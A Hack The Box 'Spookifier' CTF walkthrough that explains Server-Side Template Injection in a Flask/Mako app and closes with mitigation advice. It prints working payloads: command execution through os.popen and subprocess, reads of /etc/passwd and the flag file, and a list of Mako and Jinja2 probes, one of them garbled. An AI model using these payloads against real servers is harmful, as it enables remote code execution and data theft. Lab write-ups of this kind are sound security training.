Spookifier Hack The Box Walkthrough – SSTI Web Challenge


This article is a walkthrough for the Spookifier Hack The Box web challenge. Spookifier is a Python-based web challenge that revolves around Server-Side Template Injection (SSTI). We will also talk about the multiple payloads for SSTI and mitigation of it.

Before we start -What Is SSTI (Server-Side Template Injection)?

Server-Side Template Injection occurs when a web application takes user-supplied input, inserts it directly into a server-side template, and renders it without proper sanitization or isolation.

Because template engines are capable of executing logic, an attacker can inject template expressions instead of plain text — and the server will execute them as code.


Why SSTI Is Dangerous

Depending on the template engine in use, SSTI can lead to:

  • Reading sensitive server files
  • Leaking secrets or environment variables
  • Remote Code Execution (RCE)
  • Full server compromise

Unlike client-side template issues, SSTI executes on the server, making it a Critical severity vulnerability.


Challenge Overview: Spookifier

The challenge provides a Spookifier.zip file containing the source code running on the server. After reviewing the code, a few important observations can be made:

  • A output parameter is taken as input and rendered directly on the page
  • The application is built using Flask, confirming it is Python-based
  • User input appears to be rendered without sanitization

    From the looks of this code, I went ahead and tried SSTI payload here:

    ${7*7}

    The server responded with 49, confirming that template expressions were being evaluated.

    From the source code, it is clear that the application uses the flask_mako package, meaning Mako is the template engine in use.

    Common Python Template Engines

    • Mako
    • Jinja2
    • Django Templates

    Identifying the correct template engine is critical, as payload syntax differs between engines.


    SSTI Payload Examples

    Some common SSTI payloads include:

    Jinja2

    {{7*7}}
    {{config}}
    {{''.__class__.__mro__[1].__subclasses__()}}
    

    Mako

    ${7*7}
    ${config}
    ${url_for.__globals__.__builtins__.eval('7*7')}

    Now we know it is SSTI, let’s dive in to actually run some command:

     ${__import__('os').popen('id').read()}

    What ${__import__('os').popen('id').read()} Payload Does?

    • ${} tells Mako to evaluate the expression
    • __import__('os') imports Python’s os module
    • popen() executes a system command
    • read() captures and returns the output

    This confirms Remote Code Execution (RCE).

    You can run multiple other commands to understand the environment or maybe open a reverse shell to make it simpler.

    Now, we need to get the flag, we know its one directory below the current filesystem

    Let’s do a listing of directories:

    ${__import__('os').popen('ls -la ../').read()}

    Let’s open the file:

    ${__import__('os').popen('cat ../flag.txt').read()}

    Other SSTI Payloads to try:

    1. ${'a'+'b'}
    2. ${open('/etc/passwd').read()}
    3. ${os.system('id')}
    4. ${os.popen('id').read()}
    5. ${__builtins__.__import__('os').popen('id').read()}
    6. ${[].__class__.__base__.__subclasses__()}
    7. ${config}
    8. ${dir()}
    9. ${globals()}
    10. $(self.module.cache.util.os.popen("ls820-la820/"). read()}
    11. ${__import__('subprocess').check_output('id',shell=True)}
    12. ${dir()}
    13. ${help()}
    14. ${type(1)}
    15. <%7*7%>

    How to Mitigate SSTI?

    Avoiding user input is not always possible, hence it is important to fix the core of the problem.

    > Use logic-less template engines (Mustache, Handlebars)

    > Avoid render_template_string() or equivalent functions

    > Pass user input strictly as data, not executable content

    > Input sanitization using a strict allow-list can help, but it must be complete and carefully designed. An incomplete allow-list can still be bypassed, leading to code execution.

    Conclusion:

    Conclusion

    Server-Side Template Injection is a critical vulnerability that can easily lead to remote code execution and full server compromise.

    Proper template handling, secure coding practices, and thorough testing are essential to prevent SSTI vulnerabilities in production systems.